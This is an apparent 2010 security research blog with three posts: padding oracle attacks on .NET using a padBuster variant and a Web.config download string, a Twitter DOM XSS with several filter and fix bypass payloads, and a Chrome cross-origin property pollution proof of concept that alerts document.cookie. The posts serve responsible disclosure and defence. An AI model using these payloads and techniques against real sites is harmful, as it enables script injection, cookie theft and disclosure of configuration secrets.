Tuesday, September 28, 2010

Investigating .NET Padding Oracle Exploitation with padBusterdotnet

Everyone in the security industry has crashed into the amazing research of T. Duong and J. Rizzo of Netifera Security named Padding Oracle Attacks. This research hit the media again some days ago because also Microsoft .NET Framework was found extremely vulnerable to it.

Some tools have been released to perform this particular attack, but no public tools at the moment work with .NET Ajax Framework as shown in the original .NET exploit video at Ekoparty conference.

To better clarify how this exploit originally worked, we spent some days in our labs studying the .NET Ajax libraries. We also started from the beautiful Padbuster tool coded by Brian Holyfield of Gotham Digital Science and we added some features in order to work with WebResource.axd and ScriptResource.axd .NET Handlers. We have created a tool called PadBusterdotnet.

Important Update: I'm happy that the publication of our mods, which were the first this morning, speeded up the publication of different private tools. Now Gotham Digital Science security has just released the new version of Padbuster (v0.2) which supports Net UrlToken Encoder/Decoder check it here.

Update 04/10/2010:  Today Padbuster v0.3 now supports attacks against .NET applications to download files from the webroot. The attack for downloading Web.config is similar to the first attack we published two days ago, but it adds several important features to it. We suggest to read it!

How does Padbusterdotnet work

Padbusterdotnet is very similar to the original Padbuster. The main difference is that  it uses a re-implemented version of Microsoft UrlTokenEncoder() and UrlTokenDecoder() functions. It also does not Urlescape() parameters by deafult.

How does Padbusterdotnet applies to .NET Ajax Handlers

Microsoft Ajax Handlers are publicly exposed by default and accept encrypted strings of data which are NOT signed. This means that could be possible to perform byte by byte substitutions from an original string and check response errors for guessing intermediate values.

The following is a command line practical example:
n0def@holycow:~/n0def$ ./padBusterdotnet.pl http://127.0.0.1:8083/HacmeBank_v2_WebSite/ScriptResource.axd?d=qMO75zQ9ISgn3xx5rRdJSy7gggYrjYwjnIPlXPs84bc1 qMO75zQ9ISgn3xx5rRdJSy7gggYrjYwjnIPlXPs84bc1 16
Where:
./padBusterdotnet.pl ScriptResourceUrl EncryptedSample BlockSize

Which handler should I use? Webresource.axd vs Scriptresource.axd

Webresource.axd and Scriptresource.axd are very similar, except the fact that they have a different error handling code. So, if "customerrors = off" both handlers are practically the same.

Update 2/10/10: If "customerrors = ON" and 404 pages are handled differently from 500 pages, you should use WebResource.axd (Note: This is good for  both Framework 2.0 - With Ajax 1.0 and for framework 3.5 Sp1). To abuse the padding Oracle with "Customerrors = ON" you need to use WebResource.axd with valid "d" encrypted data as prefix. "d" parameter to be valid for WebResource handler must contain at least a single pipe char "|" after decryption. In short terms use the tool with "-prefix" option. This was the approach used initially in the original attack video (POET vs .NET).

Update 3/10/2010: if you use the "T exploit" and remote site is running framework 3.5 Sp1 or above, you just need to bruteforce the first block with average 150 requests to decrypt any message. And you need to check just for 200 status codes. More info on the "T" block exploit.  

Update 4/10/2010 More info on 200 vs 404 Status codes: Padbuster v0.3 and .NET attacks. This approach is more efficient because it uses the infamous "T" block for abusing the Padding Oracle.

To make things more complex (:D) the code of ScriptResource.axd was heavily modified during years. That's why we suggest to use all the approaches described above in this section to have the Padding Oracle speaking.

In framework 2.0 with Ajax 1.0 extensions the pseudo error handling routine in ScriptResource.axd is:
{
string strx;
string str = queryString["d"];
...
try
{
str2 = DecryptString(str);
}
catch(CryptographicException exception)
{
    throw 404(exception);
}
return strx;
}
As you can see from the previous code Crypto errors are handled as 404 errors; application errors will be spawn as 500 error codes. . 

In framework 3.5 sp1 and above ScriptResource.axd has an even different error handling routine. Pseudo code is:
{
string strx;
string str = queryString["d"];
...
try
{
str2 = DecryptString(str);
}
catch(exception)
{
    throw 404(exception);
}
return strx;
}
All errors are 404 exception and the Padding Oracle is turned off if you do not use a "T" block as prefix.


How to check if my site is vulnerable?

To check if your site is vulnerable make the following requests:
  1. http://www.mysite.co/notexistentpage.aspx - if you have verbose messages you are vulnerable since "customerrors" are not enabled
  2. Check if the response to "http://www.mysite.co/notexistentpage.aspx" vs the response to "http://www.mysite.co/WebResource.axd?d=wrongstring" do match. If these 2 responses are different you are potentially vulnerable
  3. Update... Patches are now available: Official Microsoft Patches  ! Now workarounds can be easily bypassed1 or easily bypassed2. Check if patches are installed as Juliano Rizzo suggests here: check if MAC signature is present, if not, you are still vulnerable!
  4. Update... Try the following script (thanks to Bernardo Damele for testing it accurately!): Check Patch
How to download Web.config from the virtual path?

 This feature is available through ScriptResource.axd only in .NET Framework 3.5 Sp1 and above (Framework 2.0 cannot be abused in this way). You should issue a particular string - "R|~/Web.config" - correctly encrypted using Padbusterdotnet tool.

If you are interested in how to download Web.config remotely with Padbuster or Padbusterdotnet, read:
Breaking dot.net encryption With or Without a Padding Oracle

P.s. : Let me know if you find any bug, I'll try to improve it during next days :D

Wednesday, September 22, 2010

A Twitter DomXss, a wrong fix and something more

A Twitter DOM Xss

It seems that twitter new site, introduced some issue resulting in a worm exploiting a stored Xss.
They also added some new JavaScript in their pages which I casually saw while searching in the html for the worm payload.

The code was the following :

//<![CDATA[
(function(g){var a=location.href.split("#!")[1];if(a){g.location=g.HBR=a;}})(window);
//]]>


Do you spot the issue?
It search for "#!" in the Url and assign the content after that to the window.location object. And it is present in (almost?) every page on twitter.com main site.

According to DOM Xss Wiki the location object is one of the first objects identified for being dangerous as it is both a source and a sink.

In fact the DOM Based Xss will be triggered by simply going to:

http://twitter.com/#!javascript:alert(document.domain);

as shown in the following screenshot:


Very simple and effective.
After spotting the issue, I sent an email to twitter warning them about it but not without apologizing for finding it in the middle of worm spreading.

The response was quite funny because, even if the issue was very straightforward, they cannot reproduce it because of safari antiXss filter.

Obviously I checked on every browser but Safari ... and guess what ? Safari blocked it! We'll talk about it later.

So I told them that it worked on Firefox, Chrome and Opera and after that they confirmed the issue, thanked me and so long. No more mails.

A Wrong Fix (To Replace or not to Replace )
Thanks Gaz for the title.

After some hours, I found the following fix:


var c = location.href.split("#!")[1];
if (c) {
window.location = c.replace(":", "");
} else {
return true;
}


What's wrong with that?
  1. Data Validation. 'c' is not validated as directed, that means every character but ":" is allowed. Data validation is about limiting the set of every possible input to an expected subset. Question is do we need to allow everything but one char?
  2. BlackListing. It is widely known that blacklisting could lead to bypasses if it is done loosely.
  3. No output encoding is applied. Since location assignment calls the URL Parser the context is quite known and have it's own metacharacters and structure. encoding in the URLParser context is also known as URLEncoding.
  4. The use of replace ... let's see the doc (ECMA Specification):
[...]
String.prototype.replace (searchValue, replaceValue)
[...]
If searchValue is not a regular expression, let searchString be ToString(searchValue) and search
string for the first occurrence of searchString. Let m be 0.
[...]


The analysis tells that the fix is wrong, and in fact is possible to bypass the replace by doubling the colon ':' char.


http://twitter.com/#!javascript::alert(document.domain);


See the '::' ?
The replace just deletes the first occurrence of ':' so we just add two ':'.
It has also the drawback to bypass several client side filters, Safari included.

So I wrote again to twitter:

Hey,
that is not correct!

(function(g){var
a=location.href.split("#!")[1];if(a){g.location=g.HBR=a.replace(":","");}})(window);

will allow:

twitter.com/#!javascript::alert(1)

see the :: ?
I'd suggest you to urlencode a
or
if it breaks things use a whitelist of allowed chars before going to assign a to the location.

Another fix could be using:
location.pathname=a
or
location.search=a

which at least let you stay on the same domain (not sure it works on every browser), but I don't know if it's ok for twitter.

It's not a easy task, as usual :)

Also, please, send me an email when the fix is done, cause I don't want to set a cron job to get when the fix is deployed.
...


This morning I found the following fix (no email from them though):

(function(g){
var a=location.href.split("#!")[1];
if(a){
g.location=g.HBR=a.replace(":","","g");
}
})(window);


Which resolves the multiple colons attack, but, IMHO, it is not really correct because of what I've said previously.


The Safari Filter Bypass (the something more part)

As a side consequence of the twitter DOM Xss I found myself playing with the Safari anti Xss filter.
It seems that it tries to find a match between the payload used in the assignment to location and the values in the Url in browser location bar.
After checking a bit in order to understand the behavior of the filter, I figured out that it urldecode the Url and then search for the pattern.
The problem comes because of that.
In fact since the + is replaced to a space character, then

twitter.com?#!javascript:1+alert(1)


becomes:

twitter.com?#!javascript:1 alert(1)

which obviously won't ever match the needle:

"javascript:1+alert(1)"


And there you have the bypass.


Update (24/09/2010)

Twitter finally set a working patch to the second wrong fix (see comments).

(function(g){var a=location.href.split("#!")[1];if(a){g.location=g.HBR=a.replace(/:/gi,"");}})(window);


Still not the best,IMHO, but at least it works...well, until there will be a bypass.
Also, since the patch just blocks ':' still remains an arbitrary redirect issue.

twitter.com#!//attacker.ltd/with/a/page/similar/to/twitterlogin/page

Update (25/09/2010)

As it was to be expected, there is a bypass (already public) which works on IE8 (~26% market share).
I found it yesterday independently by Gareth Heyes and Yusuke Hasegawa and reported to Twitter security team.
The bypass takes advantage of the html entity version of ':' which is &#58; or &#x3a;.
Internet Explorer 8, unlikely other browsers, when finds an entity converts it to its original value when it is assigned to the location object.

location="&x#58;"

will let the browser to go to ':' and not to literally "&x58;"
So, when the patch tries to replace ':' to an empty value, it won't find it, but the assignment to the location will convert it again to a colon.


twitter.com#!javascript&x58;alert(1)

is still valid (not in blacklist).

Finally, after writing a new mail to twitter security team, they came with a good defensive patch:

(function(g){var a=location.href.split("#!")[1];if(a){window.location.hash = "";g.location.pathname = g.HBR = a;}})(window);

As I suggested in my first email.
What happens here is that the assignment is performed on the correct attribute (the pathname) so that it is parsed in the right context with no possible bypasses to force a new URI scheme.
Now everything *should* be really ok... well, if all browsers will behave in the right way!


Monday, September 20, 2010

Chrome Cross-origin property pollution

Two years have passed since my research about Browser Based DOM Xss (slides 21-42) went public and now new browsers versions implement improved checks against the possibility to overwrite cross windows/cross domain objects.

Last week, while working on the new project about DomXss, I found that Chrome v. 6.0.472.59 had an issue similar to the opener object on IE7.
Specifically, this can be done in spite of the SOP by creating, from an attacker's page, an IFRAME with the name of the object the other window is trying to access and the overwriting it using JavaScript.
It works on every window reference. An attacker can trigger a Browser Based DOM Xss which will result in stealing sensitive data, overwrite SOP protected window objects or execute JavaScript in the context of a legit page.

How it works


Suppose victim's host has a page using JavaScript like the following:

<script>

document.writeln("<p>" +
window.opener.WWHFrame.WWHHelp.mMessages.mBookmarkLinkMessage + "</p>");

document.writeln("<p>" +
window.opener.WWHFrame.WWHControls.fBookmarkLink() + "</p>");
</script>


Obviously it won't be directly exploitable as a DOMXss since the attacker cannot control WWHFrame object because of SOP.
But Attacker can use this evil page to trigger the Xss:

// at.tack.er page
document.body.innerHTML+="<iframe name=WWHFrame src='/'></iframe>"; // create the iframe with the name we want.

function go(){ // overwrite the name with an object
WWHFrame={WWHHelp: {
mMessages:{mBookmarkLinkMessage:"<scr"+"ipt>alert(document.cookie)</scr"+"ipt>"}
} , WWHControls:{fBookmarkLink:function(){return "";}}}
}

si=setInterval(go,1); //Race Condition for setting the value at the right time..

open('http://vi.ct.im/page.html',"_blank");

The code above, simply creates a frame with the same name of the object victim's page is trying to access to and then the malicious code overwrites the iframe name with another object.

After that the victim site will have access to the object itself and in some case will use those values in the page itself like writing or evaluating them in the document, triggering a Browser based DOM Xss.
Obviously, that is a simple example using opener, but it works for any window reference (top|parent|opener etc).

It is also possible for a malicious user to make use of setters and getters to read sensitive data or return objects belonging to the victim's window itself.


// from attacker window
WWHelp={set SecretData(newdata){alert(newdata);}}

// from victim's page
top.WWHelp.SecretData="SomeSecretToken";



Fix

Every Google Chrome user should already be safe using a version >6.0.472.59.
If you have a vulnerable version, please, download the latest one (after trying some hack of course :)

Aknowledgements
I would like to thanks The Google Chrome security team for the fastest response to patch time range I've ever seen and for their helpfulness.